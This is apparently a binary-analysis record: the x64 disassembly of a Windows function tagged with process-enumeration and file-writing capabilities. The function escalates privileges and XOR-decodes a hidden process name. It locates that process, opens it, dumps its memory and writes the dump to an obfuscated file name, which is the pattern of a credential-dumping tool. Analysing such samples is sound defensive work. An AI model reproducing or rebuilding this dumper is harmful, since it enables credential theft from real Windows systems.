Function at 0x140004e70
Capabilities:
Enumerate processes
Write file on windows

Disassembly:
push rbp
lea rbp, [rsp - 0x300]
sub rsp, 0x400
call fcn.140004b80
test eax, eax
jne 0x140004ea4
lea rcx, str.____Failed_elevating_process..._n
call fcn.140001f90
mov eax, 0xffffffff
add rsp, 0x400
pop rbp
ret
cmp byte [0x140006709], 0
movsd xmm0, qword [str._UFE]
movzx eax, word [0x140006708]
mov qword [rsp + 0x418], rbx
mov qword [rsp + 0x420], rsi
mov qword [rsp + 0x428], rdi
mov qword [rsp + 0x3f8], r14
mov qword [rsp + 0x3f0], r15
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x48], ax
je 0x140004f21
xor byte [rsp + 0x41], 0x33
xor byte [rsp + 0x42], 0x34
xor byte [rsp + 0x43], 0x35
xor byte [rsp + 0x44], 0x36
xor byte [rsp + 0x45], 0x37
xor byte [rsp + 0x46], 0x38
xor byte [rsp + 0x47], 0x39
xor byte [rsp + 0x48], 0x3a
xor byte [rsp + 0x49], 0x3b
mov byte [rsp + 0x40], 0x6c
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x50]
call fcn.140005240
xor edx, edx
xor r15d, r15d
mov esi, r15d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x238
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rdi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
test eax, eax
je 0x140004fde
nop word [rax + rax]
cmp rdi, 0xf
lea r8, [rsp + 0x50]
lea rax, [rbp + 0x1e0]
cmova r8, rbx
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140004fa3
inc rax
test ecx, ecx
jne 0x140004f90
test edx, edx
je 0x140004fd0
lea rdx, [rbp - 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
lea r8, [rbp - 0x34]
lea rdx, [0x140006464]
lea rcx, [rbp + 0x1e0]
call fcn.140001ff0
mov esi, dword [rbp - 0x58]
jmp 0x140004f70
mov edx, esi
lea rcx, str.___PID:__d_n
call fcn.140001f90
mov r14, qword [rsp + 0x3f8]
cmp rdi, 0xf
jbe 0x140005020
lea rdx, [rdi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140005018
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005018
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400053d0
xorps xmm0, xmm0
mov eax, esi
lea r9, [rsp + 0x40]
mov qword [rsp + 0x40], rax
lea r8, [rsp + 0x70]
mov dword [rsp + 0x70], 0x30
mov edx, 0x410
mov qword [rsp + 0x78], r15
lea rcx, [rbp + 0x310]
mov dword [rbp - 0x78], r15d
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x80], r15
mov qword [rsp + 0x48], r15
mov qword [rbp + 0x310], r15
call qword [0x1400081c0]
mov rax, qword [rbp + 0x310]
mov qword [0x1400081b0], rax
test rax, rax
jne 0x140005095
lea rcx, str.____Failed_in_OpenProcess..._n
call fcn.140001f90
mov eax, 0xffffffff
jmp 0x1400051a9
call fcn.140004730
test eax, eax
je 0x1400051a7
lea rcx, str.___Completed__n
call fcn.140001f90
mov edx, dword [0x1400081b8]
lea rcx, str.___Final_size:__d_MiB_n
shr edx, 0x14
call fcn.140001f90
mov edx, dword [0x1400081b8]
call fcn.140003ee0
movzx ecx, word [0x1400066e0]
lea rdx, [rsp + 0x40]
movzx eax, byte [0x1400066e2]
mov r8d, 0x104
movsd xmm0, qword [str._JP__G]
xor al, 0x3c
movsd qword [rsp + 0x40], xmm0
xor byte [rsp + 0x41], 0x33
xor byte [rsp + 0x42], 0x34
xor byte [rsp + 0x43], 0x35
xor byte [rsp + 0x44], 0x36
xor byte [rsp + 0x45], 0x37
xor byte [rsp + 0x46], 0x38
xor byte [rsp + 0x47], 0x39
mov word [rsp + 0x48], cx
xor cl, 0x3a
xor byte [rsp + 0x49], 0x3b
mov byte [rsp + 0x48], cl
lea rcx, [rbp - 0x60]
mov byte [rsp + 0x40], 0x6d
mov byte [rsp + 0x4a], al
mov dword [rbp + 0x310], r15d
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs]
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x60]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x1400081b8]
lea r9, [rbp + 0x310]
mov rdx, qword [0x1400081f0]
mov rcx, rax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400051a7
lea rdx, [rsp + 0x40]
lea rcx, str.___Written_to__s_n
call fcn.140001f90
xor eax, eax
mov rdi, qword [rsp + 0x428]
mov rsi, qword [rsp + 0x420]
mov rbx, qword [rsp + 0x418]
mov r15, qword [rsp + 0x3f0]
add rsp, 0x400
pop rbp
ret